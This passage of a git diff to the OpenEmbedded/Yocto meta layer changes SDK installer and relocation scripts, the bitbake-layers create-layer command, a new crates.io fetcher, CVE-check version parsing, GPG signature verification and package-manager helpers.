rm sdk.zip
else
rm sdk.zip && exit 1
fi
else
- tail -n +$payload_offset $0| tar tvJ || exit 1
+ tail -n +$payload_offset "$0"| tar tvJ || exit 1
fi
exit
fi
@@ -242,14 +243,14 @@ fi
printf "Extracting SDK..."
if [ @SDK_ARCHIVE_TYPE@ = "zip" ]; then
- tail -n +$payload_offset $0 > sdk.zip
+ tail -n +$payload_offset "$0" > sdk.zip
if $SUDO_EXEC unzip $EXTRA_TAR_OPTIONS sdk.zip -d $target_sdk_dir;then
rm sdk.zip
else
rm sdk.zip && exit 1
fi
else
- tail -n +$payload_offset $0| $SUDO_EXEC tar mxJ -C $target_sdk_dir --checkpoint=.2500 $EXTRA_TAR_OPTIONS || exit 1
+ tail -n +$payload_offset "$0"| $SUDO_EXEC tar mxJ -C $target_sdk_dir --checkpoint=.2500 $EXTRA_TAR_OPTIONS || exit 1
fi
echo "done"
diff --git a/meta/files/toolchain-shar-relocate.sh b/meta/files/toolchain-shar-relocate.sh
index e3c10018ef..3ece04db0a 100644
--- a/meta/files/toolchain-shar-relocate.sh
+++ b/meta/files/toolchain-shar-relocate.sh
@@ -55,10 +55,13 @@ fi
for replace in "$target_sdk_dir -maxdepth 1" "$native_sysroot"; do
$SUDO_EXEC find $replace -type f
done | xargs -n100 file | grep ":.*\(ASCII\|script\|source\).*text" | \
- awk -F':' '{printf "\"%s\"\n", $1}' | \
- grep -Ev "$target_sdk_dir/(environment-setup-*|relocate_sdk*|${0##*/})" | \
+ awk -F': ' '{printf "\"%s\"\n", $1}' | \
+ grep -Fv -e "$target_sdk_dir/environment-setup-" \
+ -e "$target_sdk_dir/relocate_sdk" \
+ -e "$target_sdk_dir/post-relocate-setup" \
+ -e "$target_sdk_dir/${0##*/}" | \
xargs -n100 $SUDO_EXEC sed -i \
- -e "s:$DEFAULT_INSTALL_DIR:$target_sdk_dir:g" \
+ -e "s:$SDK_BUILD_PATH:$target_sdk_dir:g" \
-e "s:^#! */usr/bin/perl.*:#! /usr/bin/env perl:g" \
-e "s: /usr/bin/perl: /usr/bin/env perl:g"
@@ -69,7 +72,7 @@ fi
# change all symlinks pointing to @SDKPATH@
for l in $($SUDO_EXEC find $native_sysroot -type l); do
- $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e "s:$DEFAULT_INSTALL_DIR:$target_sdk_dir:") $l
+ $SUDO_EXEC ln -sfn $(readlink $l|$SUDO_EXEC sed -e "s:$SDK_BUILD_PATH:$target_sdk_dir:") $l
if [ $? -ne 0 ]; then
echo "Failed to setup symlinks. Relocate script failed. Abort!"
exit 1
diff --git a/meta/lib/bblayers/create.py b/meta/lib/bblayers/create.py
index 542f31fc81..7ddb777dc7 100644
--- a/meta/lib/bblayers/create.py
+++ b/meta/lib/bblayers/create.py
@@ -35,6 +35,7 @@ class CreatePlugin(LayerPlugin):
bb.utils.mkdirhier(conf)
layername = os.path.basename(os.path.normpath(args.layerdir))
+ layerid = args.layerid if args.layerid is not None else layername
# Create the README from templates/README
readme_template = read_template('README').format(layername=layername)
@@ -54,7 +55,7 @@ class CreatePlugin(LayerPlugin):
# Create the layer.conf from templates/layer.conf
layerconf_template = read_template('layer.conf').format(
- layername=layername, priority=args.priority, compat=compat)
+ layerid=layerid, priority=args.priority, compat=compat)
layerconf = os.path.join(conf, 'layer.conf')
with open(layerconf, 'w') as fd:
fd.write(layerconf_template)
@@ -71,7 +72,8 @@ class CreatePlugin(LayerPlugin):
def register_commands(self, sp):
parser_create_layer = self.add_command(sp, 'create-layer', self.do_create_layer, parserecipes=False)
parser_create_layer.add_argument('layerdir', help='Layer directory to create')
- parser_create_layer.add_argument('--priority', '-p', default=6, help='Layer directory to create')
+ parser_create_layer.add_argument('--layerid', '-i', help='Layer id to use if different from layername')
+ parser_create_layer.add_argument('--priority', '-p', default=6, help='Priority of recipes in layer')
parser_create_layer.add_argument('--example-recipe-name', '-e', dest='examplerecipe', default='example', help='Filename of the example recipe')
parser_create_layer.add_argument('--example-recipe-version', '-v', dest='version', default='0.1', help='Version number for the example recipe')
diff --git a/meta/lib/bblayers/templates/layer.conf b/meta/lib/bblayers/templates/layer.conf
index e2eaff4346..dddfbf716e 100644
--- a/meta/lib/bblayers/templates/layer.conf
+++ b/meta/lib/bblayers/templates/layer.conf
@@ -5,9 +5,9 @@ BBPATH .= ":${{LAYERDIR}}"
BBFILES += "${{LAYERDIR}}/recipes-*/*/*.bb \
${{LAYERDIR}}/recipes-*/*/*.bbappend"
-BBFILE_COLLECTIONS += "{layername}"
-BBFILE_PATTERN_{layername} = "^${{LAYERDIR}}/"
-BBFILE_PRIORITY_{layername} = "{priority}"
+BBFILE_COLLECTIONS += "{layerid}"
+BBFILE_PATTERN_{layerid} = "^${{LAYERDIR}}/"
+BBFILE_PRIORITY_{layerid} = "{priority}"
-LAYERDEPENDS_{layername} = "core"
-LAYERSERIES_COMPAT_{layername} = "{compat}"
+LAYERDEPENDS_{layerid} = "core"
+LAYERSERIES_COMPAT_{layerid} = "{compat}"
diff --git a/meta/lib/buildstats.py b/meta/lib/buildstats.py
index 8627ed3c31..c52b6c3b72 100644
--- a/meta/lib/buildstats.py
+++ b/meta/lib/buildstats.py
@@ -43,8 +43,8 @@ class SystemStats:
# depends on the heartbeat event, which fires less often.
self.min_seconds = 1
- self.meminfo_regex = re.compile(b'^(MemTotal|MemFree|Buffers|Cached|SwapTotal|SwapFree):\s*(\d+)')
- self.diskstats_regex = re.compile(b'^([hsv]d.|mtdblock\d|mmcblk\d|cciss/c\d+d\d+.*)$')
+ self.meminfo_regex = re.compile(rb'^(MemTotal|MemFree|Buffers|Cached|SwapTotal|SwapFree):\s*(\d+)')
+ self.diskstats_regex = re.compile(rb'^([hsv]d.|mtdblock\d|mmcblk\d|cciss/c\d+d\d+.*)$')
self.diskstats_ltime = None
self.diskstats_data = None
self.stat_ltimes = None
diff --git a/meta/lib/crate.py b/meta/lib/crate.py
new file mode 100644
index 0000000000..d10f441875
--- /dev/null
+++ b/meta/lib/crate.py
@@ -0,0 +1,149 @@
+# ex:ts=4:sw=4:sts=4:et
+# -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*-
+"""
+BitBake 'Fetch' implementation for crates.io
+"""
+
+# Copyright (C) 2016 Doug Goldstein
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2 as
+# published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License along
+# with this program; if not, write to the Free Software Foundation, Inc.,
+# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+#
+# Based on functions from the base bb module, Copyright 2003 Holger Schurig
+
+import hashlib
+import json
+import os
+import shutil
+import subprocess
+import bb
+from bb.fetch2 import logger, subprocess_setup, UnpackError
+from bb.fetch2.wget import Wget
+
+
+class Crate(Wget):
+
+ """Class to fetch crates via wget"""
+
+ def _cargo_bitbake_path(self, rootdir):
+ return os.path.join(rootdir, "cargo_home", "bitbake")
+
+ def supports(self, ud, d):
+ """
+ Check to see if a given url is for this fetcher
+ """
+ return ud.type in ['crate']
+
+ def recommends_checksum(self, urldata):
+ return False
+
+ def urldata_init(self, ud, d):
+ """
+ Sets up to download the respective crate from crates.io
+ """
+
+ if ud.type == 'crate':
+ self._crate_urldata_init(ud, d)
+
+ super(Crate, self).urldata_init(ud, d)
+
+ def _crate_urldata_init(self, ud, d):
+ """
+ Sets up the download for a crate
+ """
+
+ # URL syntax is: crate://NAME/VERSION
+ # break the URL apart by /
+ parts = ud.url.split('/')
+ if len(parts) < 5:
+ raise bb.fetch2.ParameterError("Invalid URL: Must be crate://HOST/NAME/VERSION", ud.url)
+
+ # last field is version
+ version = parts[len(parts) - 1]
+ # second to last field is name
+ name = parts[len(parts) - 2]
+ # host (this is to allow custom crate registries to be specified
+ host = '/'.join(parts[2:len(parts) - 2])
+
+ # if using upstream just fix it up nicely
+ if host == 'crates.io':
+ host = 'crates.io/api/v1/crates'
+
+ ud.url = "https://%s/%s/%s/download" % (host, name, version)
+ ud.parm['downloadfilename'] = "%s-%s.crate" % (name, version)
+ ud.parm['name'] = name
+
+ logger.debug(2, "Fetching %s to %s" % (ud.url, ud.parm['downloadfilename']))
+
+ def unpack(self, ud, rootdir, d):
+ """
+ Uses the crate to build the necessary paths for cargo to utilize it
+ """
+ if ud.type == 'crate':
+ return self._crate_unpack(ud, rootdir, d)
+ else:
+ super(Crate, self).unpack(ud, rootdir, d)
+
+ def _crate_unpack(self, ud, rootdir, d):
+ """
+ Unpacks a crate
+ """
+ thefile = ud.localpath
+
+ # possible metadata we need to write out
+ metadata = {}
+
+ # change to the rootdir to unpack but save the old working dir
+ save_cwd = os.getcwd()
+ os.chdir(rootdir)
+
+ pn = d.getVar('BPN')
+ if pn == ud.parm.get('name'):
+ cmd = "tar -xz --no-same-owner -f %s" % thefile
+ else:
+ cargo_bitbake = self._cargo_bitbake_path(rootdir)
+
+ cmd = "tar -xz --no-same-owner -f %s -C %s" % (thefile, cargo_bitbake)
+
+ # ensure we've got these paths made
+ bb.utils.mkdirhier(cargo_bitbake)
+
+ # generate metadata necessary
+ with open(thefile, 'rb') as f:
+ # get the SHA256 of the original tarball
+ tarhash = hashlib.sha256(f.read()).hexdigest()
+
+ metadata['files'] = {}
+ metadata['package'] = tarhash
+
+ # path it
+ path = d.getVar('PATH')
+ if path:
+ cmd = "PATH=\"%s\" %s" % (path, cmd)
+ bb.note("Unpacking %s to %s/" % (thefile, os.getcwd()))
+
+ ret = subprocess.call(cmd, preexec_fn=subprocess_setup, shell=True)
+
+ os.chdir(save_cwd)
+
+ if ret != 0:
+ raise UnpackError("Unpack command %s failed with return value %s" % (cmd, ret), ud.url)
+
+ # if we have metadata to write out..
+ if len(metadata) > 0:
+ cratepath = os.path.splitext(os.path.basename(thefile))[0]
+ bbpath = self._cargo_bitbake_path(rootdir)
+ mdfile = '.cargo-checksum.json'
+ mdpath = os.path.join(bbpath, cratepath, mdfile)
+ with open(mdpath, "w") as f:
+ json.dump(metadata, f)
diff --git a/meta/lib/oe/classextend.py b/meta/lib/oe/classextend.py
index d3d8fbe724..e08d788b75 100644
--- a/meta/lib/oe/classextend.py
+++ b/meta/lib/oe/classextend.py
@@ -87,7 +87,7 @@ class ClassExtender(object):
def map_depends_variable(self, varname, suffix = ""):
# We need to preserve EXTENDPKGV so it can be expanded correctly later
if suffix:
- varname = varname + "_" + suffix
+ varname = varname + ":" + suffix
orig = self.d.getVar("EXTENDPKGV", False)
self.d.setVar("EXTENDPKGV", "EXTENDPKGV")
deps = self.d.getVar(varname)
@@ -142,7 +142,7 @@ class ClassExtender(object):
if pkg_mapping[0].startswith("${") and pkg_mapping[0].endswith("}"):
continue
for subs in variables:
- self.d.renameVar("%s_%s" % (subs, pkg_mapping[0]), "%s_%s" % (subs, pkg_mapping[1]))
+ self.d.renameVar("%s:%s" % (subs, pkg_mapping[0]), "%s:%s" % (subs, pkg_mapping[1]))
class NativesdkClassExtender(ClassExtender):
def map_depends(self, dep):
diff --git a/meta/lib/oe/copy_buildsystem.py b/meta/lib/oe/copy_buildsystem.py
index 31a84f5b06..d97bf9d1b9 100644
--- a/meta/lib/oe/copy_buildsystem.py
+++ b/meta/lib/oe/copy_buildsystem.py
@@ -20,7 +20,7 @@ def _smart_copy(src, dest):
mode = os.stat(src).st_mode
if stat.S_ISDIR(mode):
bb.utils.mkdirhier(dest)
- cmd = "tar --exclude='.git' --xattrs --xattrs-include='*' -chf - -C %s -p . \
+ cmd = "tar --exclude='.git' --exclude='__pycache__' --xattrs --xattrs-include='*' -chf - -C %s -p . \
| tar --xattrs --xattrs-include='*' -xf - -C %s" % (src, dest)
subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
else:
@@ -259,7 +259,7 @@ def create_locked_sstate_cache(lockedsigs, input_sstate_cache, output_sstate_cac
bb.note('Generating sstate-cache...')
nativelsbstring = d.getVar('NATIVELSBSTRING')
- bb.process.run("gen-lockedsig-cache %s %s %s %s %s" % (lockedsigs, input_sstate_cache, output_sstate_cache, nativelsbstring, filterfile or ''))
+ bb.process.run("PYTHONDONTWRITEBYTECODE=1 gen-lockedsig-cache %s %s %s %s %s" % (lockedsigs, input_sstate_cache, output_sstate_cache, nativelsbstring, filterfile or ''))
if fixedlsbstring and nativelsbstring != fixedlsbstring:
nativedir = output_sstate_cache + '/' + nativelsbstring
if os.path.isdir(nativedir):
@@ -286,7 +286,7 @@ def check_sstate_task_list(d, targets, filteroutfile, cmdprefix='', cwd=None, lo
logparam = '-l %s' % logfile
else:
logparam = ''
- cmd = "%sBB_SETSCENE_ENFORCE=1 PSEUDO_DISABLED=1 oe-check-sstate %s -s -o %s %s" % (cmdprefix, targets, filteroutfile, logparam)
+ cmd = "%sPYTHONDONTWRITEBYTECODE=1 BB_SETSCENE_ENFORCE=1 PSEUDO_DISABLED=1 oe-check-sstate %s -s -o %s %s" % (cmdprefix, targets, filteroutfile, logparam)
env = dict(d.getVar('BB_ORIGENV', False))
env.pop('BUILDDIR', '')
env.pop('BBPATH', '')
diff --git a/meta/lib/oe/cve_check.py b/meta/lib/oe/cve_check.py
new file mode 100644
index 0000000000..0302beeb4a
--- /dev/null
+++ b/meta/lib/oe/cve_check.py
@@ -0,0 +1,148 @@
+import collections
+import re
+import itertools
+import functools
+
+_Version = collections.namedtuple(
+ "_Version", ["release", "patch_l", "pre_l", "pre_v"]
+)
+
+@functools.total_ordering
+class Version():
+
+ def __init__(self, version, suffix=None):
+
+ suffixes = ["alphabetical", "patch"]
+
+ if str(suffix) == "alphabetical":
+ version_pattern = r"""r?v?(?:(?P<release>[0-9]+(?:[-\.][0-9]+)*)(?P<patch>[-_\.]?(?P<patch_l>[a-z]))?(?P<pre>[-_\.]?(?P<pre_l>(rc|alpha|beta|pre|preview|dev))[-_\.]?(?P<pre_v>[0-9]+)?)?)(.*)?"""
+ elif str(suffix) == "patch":
+ version_pattern = r"""r?v?(?:(?P<release>[0-9]+(?:[-\.][0-9]+)*)(?P<patch>[-_\.]?(p|patch)(?P<patch_l>[0-9]+))?(?P<pre>[-_\.]?(?P<pre_l>(rc|alpha|beta|pre|preview|dev))[-_\.]?(?P<pre_v>[0-9]+)?)?)(.*)?"""
+ else:
+ version_pattern = r"""r?v?(?:(?P<release>[0-9]+(?:[-\.][0-9]+)*)(?P<pre>[-_\.]?(?P<pre_l>(rc|alpha|beta|pre|preview|dev))[-_\.]?(?P<pre_v>[0-9]+)?)?)(.*)?"""
+ regex = re.compile(r"^\s*" + version_pattern + r"\s*$", re.VERBOSE | re.IGNORECASE)
+
+ match = regex.search(version)
+ if not match:
+ raise Exception("Invalid version: '{0}'".format(version))
+
+ self._version = _Version(
+ release=tuple(int(i) for i in match.group("release").replace("-",".").split(".")),
+ patch_l=match.group("patch_l") if str(suffix) in suffixes and match.group("patch_l") else "",
+ pre_l=match.group("pre_l"),
+ pre_v=match.group("pre_v")
+ )
+
+ self._key = _cmpkey(
+ self._version.release,
+ self._version.patch_l,
+ self._version.pre_l,
+ self._version.pre_v
+ )
+
+ def __eq__(self, other):
+ if not isinstance(other, Version):
+ return NotImplemented
+ return self._key == other._key
+
+ def __gt__(self, other):
+ if not isinstance(other, Version):
+ return NotImplemented
+ return self._key > other._key
+
+def _cmpkey(release, patch_l, pre_l, pre_v):
+ # remove leading 0
+ _release = tuple(
+ reversed(list(itertools.dropwhile(lambda x: x == 0, reversed(release))))
+ )
+
+ _patch = patch_l.upper()
+
+ if pre_l is None and pre_v is None:
+ _pre = float('inf')
+ else:
+ _pre = float(pre_v) if pre_v else float('-inf')
+ return _release, _patch, _pre
+
+
+def get_patched_cves(d):
+ """
+ Get patches that solve CVEs using the "CVE: " tag.
+ """
+
+ import re
+ import oe.patch
+
+ pn = d.getVar("PN")
+ cve_match = re.compile("CVE:( CVE\-\d{4}\-\d+)+")
+
+ # Matches the last "CVE-YYYY-ID" in the file name, also if written
+ # in lowercase. Possible to have multiple CVE IDs in a single
+ # file name, but only the last one will be detected from the file name.
+ # However, patch files contents addressing multiple CVE IDs are supported
+ # (cve_match regular expression)
+
+ cve_file_name_match = re.compile(".*([Cc][Vv][Ee]\-\d{4}\-\d+)")
+
+ patched_cves = set()
+ bb.debug(2, "Looking for patches that solves CVEs for %s" % pn)
+ for url in oe.patch.src_patches(d):
+ patch_file = bb.fetch.decodeurl(url)[2]
+
+ if not os.path.isfile(patch_file):
+ bb.error("File Not found: %s" % patch_file)
+ raise FileNotFoundError
+
+ # Check patch file name for CVE ID
+ fname_match = cve_file_name_match.search(patch_file)
+ if fname_match:
+ cve = fname_match.group(1).upper()
+ patched_cves.add(cve)
+ bb.debug(2, "Found CVE %s from patch file name %s" % (cve, patch_file))
+
+ with open(patch_file, "r", encoding="utf-8") as f:
+ try:
+ patch_text = f.read()
+ except UnicodeDecodeError:
+ bb.debug(1, "Failed to read patch %s using UTF-8 encoding"
+ " trying with iso8859-1" % patch_file)
+ f.close()
+ with open(patch_file, "r", encoding="iso8859-1") as f:
+ patch_text = f.read()
+
+ # Search for one or more "CVE: " lines
+ text_match = False
+ for match in cve_match.finditer(patch_text):
+ # Get only the CVEs without the "CVE: " tag
+ cves = patch_text[match.start()+5:match.end()]
+ for cve in cves.split():
+ bb.debug(2, "Patch %s solves %s" % (patch_file, cve))
+ patched_cves.add(cve)
+ text_match = True
+
+ if not fname_match and not text_match:
+ bb.debug(2, "Patch %s doesn't solve CVEs" % patch_file)
+
+ return patched_cves
+
+
+def get_cpe_ids(cve_product, version):
+ """
+ Get list of CPE identifiers for the given product and version
+ """
+
+ version = version.split("+git")[0]
+
+ cpe_ids = []
+ for product in cve_product.split():
+ # CVE_PRODUCT in recipes may include vendor information for CPE identifiers. If not,
+ # use wildcard for vendor.
+ if ":" in product:
+ vendor, product = product.split(":", 1)
+ else:
+ vendor = "*"
+
+ cpe_id = f'cpe:2.3:a:{vendor}:{product}:{version}:*:*:*:*:*:*:*'
+ cpe_ids.append(cpe_id)
+
+ return cpe_ids
diff --git a/meta/lib/oe/distro_check.py b/meta/lib/oe/distro_check.py
index 88e46c354d..4b2a9bec01 100644
--- a/meta/lib/oe/distro_check.py
+++ b/meta/lib/oe/distro_check.py
@@ -26,7 +26,7 @@ def find_latest_numeric_release(url, d):
maxstr=""
for link in get_links_from_url(url, d):
try:
- # TODO use LooseVersion
+ # TODO use bb.utils.vercmp_string_op()
release = float(link)
except:
release = 0
diff --git a/meta/lib/oe/elf.py b/meta/lib/oe/elf.py
index df0a4593fa..46c884a775 100644
--- a/meta/lib/oe/elf.py
+++ b/meta/lib/oe/elf.py
@@ -61,6 +61,14 @@ def machine_dict(d):
"microblaze": (189, 0, 0, False, 32),
"microblazeel":(189, 0, 0, True, 32),
},
+ "linux-android" : {
+ "aarch64" : (183, 0, 0, True, 64),
+ "i686": ( 3, 0, 0, True, 32),
+ "x86_64": (62, 0, 0, True, 64),
+ },
+ "linux-androideabi" : {
+ "arm" : (40, 97, 0, True, 32),
+ },
"linux-musl" : {
"aarch64" : (183, 0, 0, True, 64),
"aarch64_be" :(183, 0, 0, False, 64),
diff --git a/meta/lib/oe/gpg_sign.py b/meta/lib/oe/gpg_sign.py
index 7634d7ef1d..1bce6cb792 100644
--- a/meta/lib/oe/gpg_sign.py
+++ b/meta/lib/oe/gpg_sign.py
@@ -109,16 +109,33 @@ class LocalSigner(object):
bb.fatal("Could not get gpg version: %s" % e)
- def verify(self, sig_file):
+ def verify(self, sig_file, valid_sigs = ''):
"""Verify signature"""
- cmd = self.gpg_cmd + [" --verify", "--no-permission-warning"]
+ cmd = self.gpg_cmd + ["--verify", "--no-permission-warning", "--status-fd", "1"]
if self.gpg_path:
cmd += ["--homedir", self.gpg_path]
cmd += [sig_file]
- status = subprocess.call(cmd)
- ret = False if status else True
- return ret
+ status = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ # Valid if any key matches if unspecified
+ if not valid_sigs:
+ ret = False if status.returncode else True
+ return ret
+
+ import re
+ goodsigs = []
+ sigre = re.compile(r'^\[GNUPG:\] GOODSIG (\S+)\s(.*)$')
+ for l in status.stdout.decode("utf-8").splitlines():
+ s = sigre.match(l)
+ if s:
+ goodsigs += [s.group(1)]
+
+ for sig in valid_sigs.split():
+ if sig in goodsigs:
+ return True
+ if len(goodsigs):
+ bb.warn('No accepted signatures found. Good signatures found: %s.' % ' '.join(goodsigs))
+ return False
def get_signer(d, backend):
diff --git a/meta/lib/oe/license.py b/meta/lib/oe/license.py
index c1274a61de..b5d378a549 100644
--- a/meta/lib/oe/license.py
+++ b/meta/lib/oe/license.py
@@ -10,14 +10,7 @@ from fnmatch import fnmatchcase as fnmatch
def license_ok(license, dont_want_licenses):
""" Return False if License exist in dont_want_licenses else True """
for dwl in dont_want_licenses:
- # If you want to exclude license named generically 'X', we
- # surely want to exclude 'X+' as well. In consequence, we
- # will exclude a trailing '+' character from LICENSE in
- # case INCOMPATIBLE_LICENSE is not a 'X+' license.
- lic = license
- if not re.search(r'\+$', dwl):
- lic = re.sub(r'\+', '', license)
- if fnmatch(lic, dwl):
+ if fnmatch(license, dwl):
return False
return True
@@ -81,6 +74,9 @@ class FlattenVisitor(LicenseVisitor):
def visit_Str(self, node):
self.licenses.append(node.s)
+ def visit_Constant(self, node):
+ self.licenses.append(node.value)
+
def visit_BinOp(self, node):
if isinstance(node.op, ast.BitOr):
left = FlattenVisitor(self.choose_licenses)
@@ -234,6 +230,9 @@ class ListVisitor(LicenseVisitor):
def visit_Str(self, node):
self.licenses.add(node.s)
+ def visit_Constant(self, node):
+ self.licenses.add(node.value)
+
def list_licenses(licensestr):
"""Simply get a list of all licenses mentioned in a license string.
Binary operators are not applied or taken into account in any way"""
diff --git a/meta/lib/oe/maketype.py b/meta/lib/oe/maketype.py
index d929c8b3e5..d36082c535 100644
--- a/meta/lib/oe/maketype.py
+++ b/meta/lib/oe/maketype.py
@@ -10,12 +10,7 @@ the arguments of the type's factory for details.
import inspect
import oe.types as types
-try:
- # Python 3.7+
- from collections.abc import Callable
-except ImportError:
- # Python < 3.7
- from collections import Callable
+from collections.abc import Callable
available_types = {}
diff --git a/meta/lib/oe/overlayfs.py b/meta/lib/oe/overlayfs.py
new file mode 100644
index 0000000000..b5d5e88e80
--- /dev/null
+++ b/meta/lib/oe/overlayfs.py
@@ -0,0 +1,48 @@
+#
+# SPDX-License-Identifier: GPL-2.0-only
+#
+# This file contains common functions for overlayfs and its QA check
+
+# this function is based on https://github.com/systemd/systemd/blob/main/src/basic/unit-name.c
+def escapeSystemdUnitName(path):
+ escapeMap = {
+ '/': '-',
+ '-': "\\x2d",
+ '\\': "\\x5d"
+ }
+ return "".join([escapeMap.get(c, c) for c in path.strip('/')])
+
+def strForBash(s):
+ return s.replace('\\', '\\\\')
+
+def allOverlaysUnitName(d):
+ return d.getVar('PN') + '-overlays.service'
+
+def mountUnitName(unit):
+ return escapeSystemdUnitName(unit) + '.mount'
+
+def helperUnitName(unit):
+ return escapeSystemdUnitName(unit) + '-create-upper-dir.service'
+
+def unitFileList(d):
+ fileList = []
+ overlayMountPoints = d.getVarFlags("OVERLAYFS_MOUNT_POINT")
+
+ if not overlayMountPoints:
+ bb.fatal("A recipe uses overlayfs class but there is no OVERLAYFS_MOUNT_POINT set in your MACHINE configuration")
+
+ # check that we have required mount points set first
+ requiredMountPoints = d.getVarFlags('OVERLAYFS_WRITABLE_PATHS')
+ for mountPoint in requiredMountPoints:
+ if mountPoint not in overlayMountPoints:
+ bb.fatal("Missing required mount point for OVERLAYFS_MOUNT_POINT[%s] in your MACHINE configuration" % mountPoint)
+
+ for mountPoint in overlayMountPoints:
+ for path in d.getVarFlag('OVERLAYFS_WRITABLE_PATHS', mountPoint).split():
+ fileList.append(mountUnitName(path))
+ fileList.append(helperUnitName(path))
+
+ fileList.append(allOverlaysUnitName(d))
+
+ return fileList
+
diff --git a/meta/lib/oe/package_manager/__init__.py b/meta/lib/oe/package_manager/__init__.py
index 42225a3b2e..80bc1a6bc6 100644
--- a/meta/lib/oe/package_manager/__init__.py
+++ b/meta/lib/oe/package_manager/__init__.py
@@ -90,7 +90,7 @@ def opkg_query(cmd_output):
def failed_postinsts_abort(pkgs, log_path):
bb.fatal("""Postinstall scriptlets of %s have failed. If the intention is to defer them to first boot,
-then please place them into pkg_postinst_ontarget_${PN} ().
+then please place them into pkg_postinst_ontarget:${PN} ().
Deferring to first boot via 'exit 1' is no longer supported.
Details of the failure are in %s.""" %(pkgs, log_path))
@@ -189,7 +189,7 @@ class PackageManager(object, metaclass=ABCMeta):
bb.utils.remove(self.intercepts_dir, True)
bb.utils.mkdirhier(self.intercepts_dir)
for intercept in postinst_intercepts:
- bb.utils.copyfile(intercept, os.path.join(self.intercepts_dir, os.path.basename(intercept)))
+ shutil.copy(intercept, os.path.join(self.intercepts_dir, os.path.basename(intercept)))
@abstractmethod
def _handle_intercept_failure(self, failed_script):
@@ -321,14 +321,18 @@ class PackageManager(object, metaclass=ABCMeta):
# TODO don't have sdk here but have a property on the superclass
# (and respect in install_complementary)
if sdk:
- pkgdatadir = self.d.expand("${TMPDIR}/pkgdata/${SDK_SYS}")
+ pkgdatadir = self.d.getVar("PKGDATA_DIR_SDK")
else:
pkgdatadir = self.d.getVar("PKGDATA_DIR")
try:
bb.note("Installing globbed packages...")
cmd = ["oe-pkgdata-util", "-p", pkgdatadir, "list-pkgs", globs]
- pkgs = subprocess.check_output(cmd, stderr=subprocess.STDOUT).decode("utf-8")
+ bb.note('Running %s' % cmd)
+ proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ stdout, stderr = proc.communicate()
+ if stderr: bb.note(stderr.decode("utf-8"))
+ pkgs = stdout.decode("utf-8")
self.install(pkgs.split(), attempt_only=True)
except subprocess.CalledProcessError as e:
# Return code 1 means no packages matched
@@ -340,10 +344,8 @@ class PackageManager(object, metaclass=ABCMeta):
def install_complementary(self, globs=None):
"""
Install complementary packages based upon the list of currently installed
- packages e.g. locales, *-dev, *-dbg, etc. This will only attempt to install
- these packages, if they don't exist then no error will occur. Note: every
- backend needs to call this function explicitly after the normal package
- installation
+ packages e.g. locales, *-dev, *-dbg, etc. Note: every backend needs to
+ call this function explicitly after the normal package installation.
"""
if globs is None:
globs = self.d.getVar('IMAGE_INSTALL_COMPLEMENTARY')
@@ -384,14 +386,17 @@ class PackageManager(object, metaclass=ABCMeta):
cmd.extend(['--exclude=' + '|'.join(exclude.split())])
try:
bb.note('Running %s' % cmd)
- complementary_pkgs = subprocess.check_output(cmd, stderr=subprocess.STDOUT).decode("utf-8")
+ proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ stdout, stderr = proc.communicate()
+ if stderr: bb.note(stderr.decode("utf-8"))
+ complementary_pkgs = stdout.decode("utf-8")
complementary_pkgs = set(complementary_pkgs.split())
skip_pkgs = sorted(complementary_pkgs & provided_pkgs)
install_pkgs = sorted(complementary_pkgs - provided_pkgs)
bb.note("Installing complementary packages ... %s (skipped already provided packages %s)" % (
' '.join(install_pkgs),
' '.join(skip_pkgs)))
- self.install(install_pkgs, attempt_only=True)
+ self.install(install_pkgs)
except subprocess.CalledProcessError as e:
bb.fatal("Could not compute complementary packages list. Command "
"'%s' returned %d:\n%s" %
diff --git a/meta/lib/oe/package_manager/deb/__init__.py b/meta/lib/oe/package_manager/deb/__init__.py
index 10ad707c23..9f112ae25b 100644
--- a/meta/lib/oe/package_manager/deb/__init__.py
+++ b/meta/lib/oe/package_manager/deb/__init__.py
@@ -214,7 +214,7 @@ class DpkgPM(OpkgDpkgPM):
tmp_sf.write(status)
- os.rename(status_file + ".tmp", status_file)
+ bb.utils.rename(status_file + ".tmp", status_file)
def run_pre_post_installs(self, package_name=None):
"""
@@ -287,7 +287,8 @@ class DpkgPM(OpkgDpkgPM):
try:
bb.note("Installing the following packages: %s" % ' '.join(pkgs))
- subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
+ output = subprocess.check_output(cmd.split(), stderr=subprocess.STDOUT)
+ bb.note(output.decode("utf-8"))
except subprocess.CalledProcessError as e:
(bb.fatal, bb.warn)[attempt_only]("Unable to install packages. "
"Command '%s' returned %d:\n%s" %
@@ -298,13 +299,13 @@ class DpkgPM(OpkgDpkgPM):
for dir in dirs:
new_dir = re.sub(r"\.dpkg-new", "", dir)
if dir != new_dir:
- os.rename(os.path.join(root, dir),
+ bb.utils.rename(os.path.join(root, dir),
os.path.join(root, new_dir))
for file in files:
new_file = re.sub(r"\.dpkg-new", "", file)
if file != new_file:
- os.rename(os.path.join(root, file),
+ bb.utils.rename(os.path.join(root, file),
os.path.join(root, new_file))
@@ -312,6 +313,10 @@ class DpkgPM(OpkgDpkgPM):
if not pkgs:
return
+ os.environ['D'] = self.target_rootfs
+ os.environ['OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['IPKG_OFFLINE_ROOT'] = self.target_rootfs
+ os.environ['OPKG_OFFLINE_ROOT'] = self.target_rootfs
os.environ['INTERCEPT_DIR'] = self.intercepts_dir
if with_dependencies:
@@ -343,8 +348,12 @@ class DpkgPM(OpkgDpkgPM):
if feed_uris == "":
return
+
sources_conf = os.path.join("%s/etc/apt/sources.list"
% self.target_rootfs)
+ if not os.path.exists(os.path.dirname(sources_conf)):
+ return
+
arch_list = []
if feed_archs is None:
@@ -362,11 +371,11 @@ class DpkgPM(OpkgDpkgPM):
if arch_list:
for arch in arch_list:
